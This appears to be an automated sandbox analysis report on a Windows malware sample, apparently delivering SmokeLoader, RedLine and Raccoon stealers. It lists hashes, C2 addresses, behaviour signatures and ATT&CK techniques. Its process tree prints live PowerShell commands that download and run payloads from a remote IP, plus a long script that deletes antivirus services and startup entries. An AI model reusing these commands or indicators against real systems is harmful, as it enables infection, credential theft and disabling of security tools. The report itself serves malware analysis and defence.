Analysis

  • max time kernel
    150s
  • max time network
    180s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    12-08-2021 06:46

General

  • Target

    92b685aedd90d350504624e142c53b24.exe

  • Size

    319KB

  • MD5

    92b685aedd90d350504624e142c53b24

  • SHA1

    ab0db0c63accdd0d6b83f995d302b5885c60d9ad

  • SHA256

    e0be41471fb0457c80e1c8a10efc91c223183838ecadbddd200376cfd9c2721a

  • SHA512

    2fabf92a35a53810c576d06f710659b268f660e81be072dc133a786c1d669d161d6007d6e13b710a7170db6fb9333f2903991b479818c3eac9cef00c4e181dbe

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.52/Api/GetFile2

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

@gasfer_dark

C2

207.154.240.76:80

Extracted

Family

raccoon

Botnet

cd8dc1031358b1aec55cc6bc447df1018b068607

Attributes
  • url4cnc

    https://telete.in/jagressor_kz

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

471c70de3b4f9e4d493e418d1f60a90659057de0

Attributes
  • url4cnc

    https://telete.in/p1rosto100xx

rc4.plain
rc4.plain

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Raccoon Stealer Payload 5 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 8 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 18 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\92b685aedd90d350504624e142c53b24.exe
    "C:\Users\Admin\AppData\Local\Temp\92b685aedd90d350504624e142c53b24.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Users\Admin\AppData\Local\Temp\92b685aedd90d350504624e142c53b24.exe
      "C:\Users\Admin\AppData\Local\Temp\92b685aedd90d350504624e142c53b24.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1864
  • C:\Users\Admin\AppData\Local\Temp\8D71.exe
    C:\Users\Admin\AppData\Local\Temp\8D71.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:936
  • C:\Users\Admin\AppData\Local\Temp\933C.exe
    C:\Users\Admin\AppData\Local\Temp\933C.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1620
  • C:\Users\Admin\AppData\Local\Temp\9723.exe
    C:\Users\Admin\AppData\Local\Temp\9723.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1888
    • C:\ProgramData\Runtimebroker.exe
      "C:\ProgramData\Runtimebroker.exe"
      2⤵
      • Executes dropped EXE
      • Drops startup file
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:960
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://91.241.19.52/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
        3⤵
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        PID:1064
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell $dll =[Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://91.241.19.52/Api/GetFile2'));$theType = $dll.GetType('filedll.Program');$method = $theType.GetMethod('Start');$method.Invoke([System.Activator]::CreateInstance($theType),@());rv dll,theType,method
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of AdjustPrivilegeToken
        PID:1612
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell" Get-MpPreference -verbose
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1600
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" @echo off Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE2.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE1.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP18.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP17.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP16.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP15.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP14.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP13.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP12.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP11.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP10.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MBAMService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAWFwk" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MSK80Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAPExe" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McBootDelayStartSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mccspsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfefire" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\HomeNetSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ModuleCoreService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McMPFSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mcpltsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McProxy" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McODS" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfemms" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAfee SiteAdvisor Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfevtp" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McNaiAnn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\nanosvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\NortonSecurity" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\!SASCORE" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\SBAMSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVAuxSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVCoreSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\QHActiveDefense" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Firewall" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVG Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirMailService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Avira.ServiceHost" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirWebService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirSchedulerService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsservppl" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ProductAgentService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsserv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\updatesrv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdAgent" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdvirth" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\DragonUpdater" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ekrn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\0247141531883172mcinstcleanup" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\PEFService" /f set "osX=%PROCESSOR_ARCHITECTURE%" if defined PROCESSOR_ARCHITEW6432 set "osX=AMD64" if "%osX%"=="x86" ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg64.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlservice.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -boot" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f ) else ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg64.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlservice.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -boot" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 )
          4⤵
            PID:1760
    • C:\Users\Admin\AppData\Local\Temp\9917.exe
      C:\Users\Admin\AppData\Local\Temp\9917.exe
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious use of AdjustPrivilegeToken
      PID:632
      • C:\Users\Admin\AppData\Local\Temp\9917.exe
        C:\Users\Admin\AppData\Local\Temp\9917.exe
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:1104
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\9917.exe"
          3⤵
            PID:856
            • C:\Windows\SysWOW64\timeout.exe
              timeout /T 10 /NOBREAK
              4⤵
              • Delays execution with timeout.exe
              PID:1388
      • C:\Users\Admin\AppData\Local\Temp\9C53.exe
        C:\Users\Admin\AppData\Local\Temp\9C53.exe
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Modifies system certificate store
        PID:428
      • C:\Users\Admin\AppData\Local\Temp\A440.exe
        C:\Users\Admin\AppData\Local\Temp\A440.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:996
      • C:\Windows\SysWOW64\explorer.exe
        C:\Windows\SysWOW64\explorer.exe
        1⤵
          PID:1108
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe
          1⤵
            PID:2036
          • C:\Windows\SysWOW64\explorer.exe
            C:\Windows\SysWOW64\explorer.exe
            1⤵
              PID:1072
            • C:\Windows\explorer.exe
              C:\Windows\explorer.exe
              1⤵
                PID:572
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                  PID:1660
                • C:\Windows\explorer.exe
                  C:\Windows\explorer.exe
                  1⤵
                    PID:2020
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    1⤵
                      PID:1268
                    • C:\Windows\explorer.exe
                      C:\Windows\explorer.exe
                      1⤵
                        PID:1116
                      • C:\Windows\SysWOW64\explorer.exe
                        C:\Windows\SysWOW64\explorer.exe
                        1⤵
                          PID:2036

                        Network

                        MITRE ATT&CK Matrix ATT&CK v6

                        Persistence

                        Modify Existing Service

                        1
                        T1031

                        Registry Run Keys / Startup Folder

                        1
                        T1060

                        Defense Evasion

                        Modify Registry

                        3
                        T1112

                        Disabling Security Tools

                        1
                        T1089

                        Virtualization/Sandbox Evasion

                        1
                        T1497

                        Install Root Certificate

                        1
                        T1130

                        Credential Access

                        Credentials in Files

                        3
                        T1081

                        Discovery

                        Query Registry

                        4
                        T1012

                        Virtualization/Sandbox Evasion

                        1
                        T1497

                        System Information Discovery

                        4
                        T1082

                        Peripheral Device Discovery

                        1
                        T1120

                        Collection

                        Data from Local System

                        3
                        T1005

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\ProgramData\Runtimebroker.exe
                          MD5

                          518c48c949a23e850527624b8755718b

                          SHA1

                          eed6cb4150568733695c6b5dbe64e89fe77f82f2

                          SHA256

                          95d748224096a6f0d3be1f669f75531e786981683fb24f5e371bee578e4d1a74

                          SHA512

                          9b99cd7e90be0014c3c4e70fada1461fe6e717d45881f55c6082f0fb16d0cc2db9fc01cfec7031741057cacb82fa64f20b15e67639b9092a5f04f95acd9e3be9

                        • C:\ProgramData\Runtimebroker.exe
                          MD5

                          518c48c949a23e850527624b8755718b

                          SHA1

                          eed6cb4150568733695c6b5dbe64e89fe77f82f2

                          SHA256

                          95d748224096a6f0d3be1f669f75531e786981683fb24f5e371bee578e4d1a74

                          SHA512

                          9b99cd7e90be0014c3c4e70fada1461fe6e717d45881f55c6082f0fb16d0cc2db9fc01cfec7031741057cacb82fa64f20b15e67639b9092a5f04f95acd9e3be9

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_10a2719f-ab19-452c-9537-375fecbe5f96
                          MD5

                          df44874327d79bd75e4264cb8dc01811

                          SHA1

                          1396b06debed65ea93c24998d244edebd3c0209d

                          SHA256

                          55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

                          SHA512

                          95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1abda922-9e0e-4200-89d0-60796083afcc
                          MD5

                          be4d72095faf84233ac17b94744f7084

                          SHA1

                          cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

                          SHA256

                          b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

                          SHA512

                          43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_32b21970-4839-4ac5-a2ad-cc925aecc47c
                          MD5

                          a725bb9fafcf91f3c6b7861a2bde6db2

                          SHA1

                          8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

                          SHA256

                          51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

                          SHA512

                          1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_60554f64-a36e-4439-8748-76f202d7cb75
                          MD5

                          02ff38ac870de39782aeee04d7b48231

                          SHA1

                          0390d39fa216c9b0ecdb38238304e518fb2b5095

                          SHA256

                          fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

                          SHA512

                          24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6ccb18ff-7a22-469e-90e7-ccc861e1432b
                          MD5

